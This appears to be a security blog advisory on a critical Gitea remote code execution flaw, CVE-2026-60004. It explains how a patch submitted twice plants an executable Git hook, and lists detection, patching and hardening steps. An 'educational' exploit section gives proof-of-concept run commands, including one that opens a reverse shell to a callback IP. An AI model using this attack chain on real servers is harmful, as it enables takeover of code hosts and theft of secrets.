Listen to this Post
CVE-2026-60004 is a critical remote code execution vulnerability affecting Gitea, a popular self-hosted Git service. The flaw resides in the `/api/v1/repos/{owner}/{repo}/diffpatch` API endpoint, which applies user-supplied patches inside a temporary Git repository.
The root cause lies in how Gitea creates this temporary repository. In vulnerable versions (1.17.0 through 1.27.0), the endpoint uses a bare Git clone (git clone --bare). In a bare repository, there is no separate working tree — the repository root directory itself is $GIT_DIR. This means any file written by `git apply` lands directly inside Git’s internal data directory.
The `diffpatch` endpoint then executes `git apply` with the `–cached` flag, which should only modify the Git index and never write files to disk. However, on servers running Git version 2.32 or later, Gitea appends the `-3` (three-way merge) flag to the command. When the same patch is submitted twice, it triggers an `add/add` conflict. Git’s three-way merge fallback ignores the `–cached` flag and writes the merged result directly to the working tree.
Because the temporary clone is bare, the “working tree” is `$GIT_DIR` itself. An attacker can craft a patch that creates an executable file at `hooks/post-index-change` inside this bare repository. Git automatically executes `post-index-change` hooks after every index update. By submitting the patch twice, the attacker forces the malicious hook file to be written to disk, and Git executes it on the next index operation — granting the attacker arbitrary shell command execution with the privileges of the Gitea service account.
While the attack technically requires repository write access, Gitea enables open registration by default. An unauthenticated attacker can simply register an account, create a repository, and gain the necessary write permissions. The vulnerability affects all Gitea versions from 1.17.0 up to but not including 1.27.1, carries a CVSS score of 9.8 (Critical), and is classified as CWE-94 (Improper Control of Generation of Code). It was patched in Gitea 1.27.1, released on July 27, 2026, by changing the temporary clone from bare to non-bare.
DailyCVE Form:
Platform: Gitea
Version: 1.17.0–1.27.0
Vulnerability: RCE (Git Hook Injection)
Severity: Critical (CVSS 9.8)
Date: August 26, 2026
Prediction: Already patched (1.27.1, Jul 27)
What Undercode Say:
The vulnerability has been confirmed as actively exploited in the wild. CISA added CVE-2026-60004 to its Known Exploited Vulnerabilities (KEV) catalog on August 25, 2026, with a due date of August 28, 2026 for federal agencies. Attackers are deploying cryptocurrency mining malware on vulnerable instances. One documented case involved a Gitea instance targeted via HTTPS, where open registration (DISABLE_REGISTRATION = false), no email confirmation (REGISTER_EMAIL_CONFIRM = false), and OpenID signup (ENABLE_OPENID_SIGNUP = true) were enabled. The attacker deployed a miner-like dropper that consumed over 70% CPU capacity.
Nuclei template for detection:
id: CVE-2026-60004
info:
name: Gitea diffpatch RCE
severity: critical
requests:
- raw:
- |
POST /api/v1/repos/test/test/diffpatch HTTP/1.1
Host: {{Hostname}}
Shadowserver tracks nearly 5,000 Gitea instances exposed online. Organizations should prioritize patching and review their Gitea configurations immediately.
Exploit: (Educational Purposes!)
The exploit chain requires an account with repository write access. On default Gitea installations with open registration enabled, this is trivially obtainable.
Prerequisites:
- Gitea version 1.17.0 – 1.27.0
- Server-side Git ≥ 2.32 (enables `-3` three-way merge)
– `diffpatch` endpoint accessible - Repository write access (or open registration enabled)
PoC Execution (Python):
Set account password export GITEA_PASSWORD='your-password' Run the exploit python3 gitea_diffpatch_rce_poc.py \ https://<gitea-target> \ <username> \ 'id; uname -srm; pwd'
Alternative automated PoC:
python3 gitea_exploit.py <target_ip:port> <callback_ip> [bash] \ --user <username> --pw <password> --repo <repo_name>
The script creates a repository, submits the same malicious patch twice to trigger the `add/add` conflict, and catches the reverse shell. When successful, the attacker receives a shell as the `git` user:
uid=1000(git) gid=1000(git) groups=1000(git)
⚠️ DISCLAIMER: This is for educational and defensive purposes only. Do not use against unauthorized or production systems.
Protection:
- Upgrade Gitea immediately to version 1.27.1 or later. The fix changes the temporary clone from bare to non-bare, preventing hooks from being written. Commit:
470d34b1.
2. Disable open registration if not required:
DISABLE_REGISTRATION = true
3. Restrict repository creation to trusted users only.
- Audit existing Git hooks on all repositories for unauthorized entries.
- Review Gitea logs for suspicious `diffpatch` API calls.
- Consider temporarily disabling the diffpatch API until patching is complete.
7. Monitor for unusual CPU usage (cryptojacking indicator).
Impact:
Successful exploitation allows an attacker to execute arbitrary shell commands as the Gitea service account. This leads to:
– Full compromise of all hosted repositories and source code
– Access to CI/CD secrets, database credentials, and environment variables
– Deployment of cryptocurrency miners consuming excessive CPU resources
– Lateral movement within the internal network
– Data exfiltration and potential ransomware deployment
– Supply chain attacks through tampered code or CI pipelines
Given Gitea’s role in development infrastructure, this vulnerability poses a severe risk to the entire software supply chain. Organizations with internet-facing Gitea instances should treat this as an urgent remediation priority.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
